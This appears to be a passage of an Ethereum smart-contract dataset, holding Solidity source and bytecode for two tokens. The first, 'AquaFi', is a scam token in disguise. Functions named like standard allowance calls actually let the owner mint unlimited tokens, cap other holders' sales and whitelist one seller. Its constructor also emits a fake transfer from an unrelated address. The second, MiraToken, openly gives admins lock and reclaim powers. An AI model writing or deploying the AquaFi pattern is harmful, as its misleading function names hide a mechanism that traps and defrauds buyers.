_owner = newOwner;
}
}
contract AquaFi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 1000000000 * 10**18;
uint256 private rTotal = 1000000000 * 10**18;
string private _name = 'AquaFinance Investments';
string private _symbol = 'AquaFi';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212209b2b3c8f719d6563e7ec8e61e83e82c10c351903dc05f70021f3fb677a679db664736f6c63430006050033
|
{"success": true, "error": null, "results": {}}
| 8,239 |
0xa1d5e2190250276633ae0f2093f24625aede856c
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC223Receiver {
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* MiraToken ERC223 token contract
*
* Designed and developed by BlockSoft.biz
*/
contract MiraToken is StandardToken, BurnableToken, Ownable {
using SafeMath for uint256;
event Release();
event AddressLocked(address indexed _address, uint256 _time);
event TokensReverted(address indexed _address, uint256 _amount);
event AddressLockedByKYC(address indexed _address);
event KYCVerified(address indexed _address);
event TokensRevertedByKYC(address indexed _address, uint256 _amount);
event SetTechAccount(address indexed _address);
string public constant name = "MIRA Token";
string public constant symbol = "MIRA";
string public constant standard = "ERC223";
uint256 public constant decimals = 8;
bool public released = false;
address public tokensWallet;
address public techAccount;
mapping(address => uint) public lockedAddresses;
mapping(address => bool) public verifiedKYCAddresses;
modifier isReleased() {
require(released || msg.sender == tokensWallet || msg.sender == owner || msg.sender == techAccount);
require(lockedAddresses[msg.sender] <= now);
require(verifiedKYCAddresses[msg.sender]);
_;
}
modifier hasAddressLockupPermission() {
require(msg.sender == owner || msg.sender == techAccount);
_;
}
constructor() public {
owner = 0x635c8F19795Db0330a5b7465DF0BD2eeD1A5758e;
tokensWallet = owner;
verifiedKYCAddresses[owner] = true;
techAccount = 0x41D621De050A551F5f0eBb83D1332C75339B61E4;
verifiedKYCAddresses[techAccount] = true;
emit SetTechAccount(techAccount);
totalSupply_ = 30770000 * (10 ** decimals);
balances[tokensWallet] = totalSupply_;
emit Transfer(0x0, tokensWallet, totalSupply_);
}
function lockAddress(address _address, uint256 _time) public hasAddressLockupPermission returns (bool) {
require(_address != owner && _address != tokensWallet && _address != techAccount);
require(balances[_address] == 0 && lockedAddresses[_address] == 0 && _time > now);
lockedAddresses[_address] = _time;
emit AddressLocked(_address, _time);
return true;
}
function revertTokens(address _address) public hasAddressLockupPermission returns (bool) {
require(lockedAddresses[_address] > now && balances[_address] > 0);
uint256 amount = balances[_address];
balances[tokensWallet] = balances[tokensWallet].add(amount);
balances[_address] = 0;
emit Transfer(_address, tokensWallet, amount);
emit TokensReverted(_address, amount);
return true;
}
function lockAddressByKYC(address _address) public hasAddressLockupPermission returns (bool) {
require(released);
require(balances[_address] == 0 && verifiedKYCAddresses[_address]);
verifiedKYCAddresses[_address] = false;
emit AddressLockedByKYC(_address);
return true;
}
function verifyKYC(address _address) public hasAddressLockupPermission returns (bool) {
verifiedKYCAddresses[_address] = true;
emit KYCVerified(_address);
return true;
}
function revertTokensByKYC(address _address) public hasAddressLockupPermission returns (bool) {
require(!verifiedKYCAddresses[_address] && balances[_address] > 0);
uint256 amount = balances[_address];
balances[tokensWallet] = balances[tokensWallet].add(amount);
balances[_address] = 0;
emit Transfer(_address, tokensWallet, amount);
emit TokensRevertedByKYC(_address, amount);
return true;
}
function release() public onlyOwner returns (bool) {
require(!released);
released = true;
emit Release();
return true;
}
function getOwner() public view returns (address) {
return owner;
}
function transfer(address _to, uint256 _value) public isReleased returns (bool) {
if (released) {
verifiedKYCAddresses[_to] = true;
}
if (super.transfer(_to, _value)) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if (codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, msg.data);
}
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) {
if (released) {
verifiedKYCAddresses[_to] = true;
}
if (super.transferFrom(_from, _to, _value)) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if (codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(_from, _value, msg.data);
}
return true;
}
return false;
}
function approve(address _spender, uint256 _value) public isReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public isReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != owner);
require(lockedAddresses[newOwner] < now);
address oldOwner = owner;
super.transferOwnership(newOwner);
if (oldOwner != tokensWallet) {
allowed[tokensWallet][oldOwner] = 0;
emit Approval(tokensWallet, oldOwner, 0);
}
if (owner != tokensWallet) {
allowed[tokensWallet][owner] = balances[tokensWallet];
emit Approval(tokensWallet, owner, balances[tokensWallet]);
}
verifiedKYCAddresses[newOwner] = true;
emit KYCVerified(newOwner);
}
function changeTechAccountAddress(address _address) public onlyOwner {
require(_address != address(0) && _address != techAccount);
require(lockedAddresses[_address] < now);
techAccount = _address;
emit SetTechAccount(techAccount);
verifiedKYCAddresses[_address] = true;
emit KYCVerified(_address);
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d8146e1461016f57806306fdde03146101c657806307ec0ead14610256578063095ea7b31461029957806318160ddd146102fe57806323b872dd14610329578063313ce567146103ae5780633328bd24146103d957806335972f461461043e57806338d160111461049557806342966c68146104f057806349f7825b1461051d5780635a3b7e4214610578578063661884631461060857806370a082311461066d57806386d1a69f146106c4578063893d20e8146106f35780638da5cb5b1461074a57806395d89b41146107a15780639613252114610831578063a5bbd67a14610860578063a9059cbb146108b7578063d73dd6231461091c578063dd62ed3e14610981578063df1abf83146109f8578063e1579c8514610a53578063f2fde38b14610aae578063f8a4e60814610af1575b600080fd5b34801561017b57600080fd5b50610184610b4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101d257600080fd5b506101db610b72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021b578082015181840152602081019050610200565b50505050905090810190601f1680156102485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026257600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bab565b005b3480156102a557600080fd5b506102e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2e565b604051808215151515815260200191505060405180910390f35b34801561030a57600080fd5b5061031361100b565b6040518082815260200191505060405180910390f35b34801561033557600080fd5b50610394600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611015565b604051808215151515815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3611367565b6040518082815260200191505060405180910390f35b3480156103e557600080fd5b50610424600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136c565b604051808215151515815260200191505060405180910390f35b34801561044a57600080fd5b50610453611672565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a157600080fd5b506104d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611698565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b5061051b600480360381019080803590602001909291905050506117f2565b005b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ff565b604051808215151515815260200191505060405180910390f35b34801561058457600080fd5b5061058d611a16565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cd5780820151818401526020810190506105b2565b50505050905090810190601f1680156105fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061457600080fd5b50610653600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4f565b604051808215151515815260200191505060405180910390f35b34801561067957600080fd5b506106ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c2c565b6040518082815260200191505060405180910390f35b3480156106d057600080fd5b506106d9611c74565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b50610708611d3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075657600080fd5b5061075f611d66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ad57600080fd5b506107b6611d8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f65780820151818401526020810190506107db565b50505050905090810190601f1680156108235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561083d57600080fd5b50610846611dc5565b604051808215151515815260200191505060405180910390f35b34801561086c57600080fd5b506108a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dd8565b6040518082815260200191505060405180910390f35b3480156108c357600080fd5b50610902600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611df0565b604051808215151515815260200191505060405180910390f35b34801561092857600080fd5b50610967600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612140565b604051808215151515815260200191505060405180910390f35b34801561098d57600080fd5b506109e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061231d565b6040518082815260200191505060405180910390f35b348015610a0457600080fd5b50610a39600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123a4565b604051808215151515815260200191505060405180910390f35b348015610a5f57600080fd5b50610a94600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612739565b604051808215151515815260200191505060405180910390f35b348015610aba57600080fd5b50610aef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ac2565b005b348015610afd57600080fd5b50610b32600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130c3565b604051808215151515815260200191505060405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600a81526020017f4d49524120546f6b656e0000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610c925750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1515610c9d57600080fd5b42600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610cea57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f15970aa596b058cfe63594828b44ec28aa9f94b8fdd8c8eb6f26d1542aa700f060405160405180910390a26001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a250565b6000600360149054906101000a900460ff1680610e985750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610ef05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610f485750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f5357600080fd5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515610fa157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ff957600080fd5b61100383836130e3565b905092915050565b6000600154905090565b6000806000600360149054906101000a900460ff16806110825750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110da5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806111325750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561113d57600080fd5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561118b57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156111e357600080fd5b600360149054906101000a900460ff1615611251576001600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61125c8686866131d5565b1561135957843b91506000821115611350578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a87866000366040518563ffffffff167c01000000000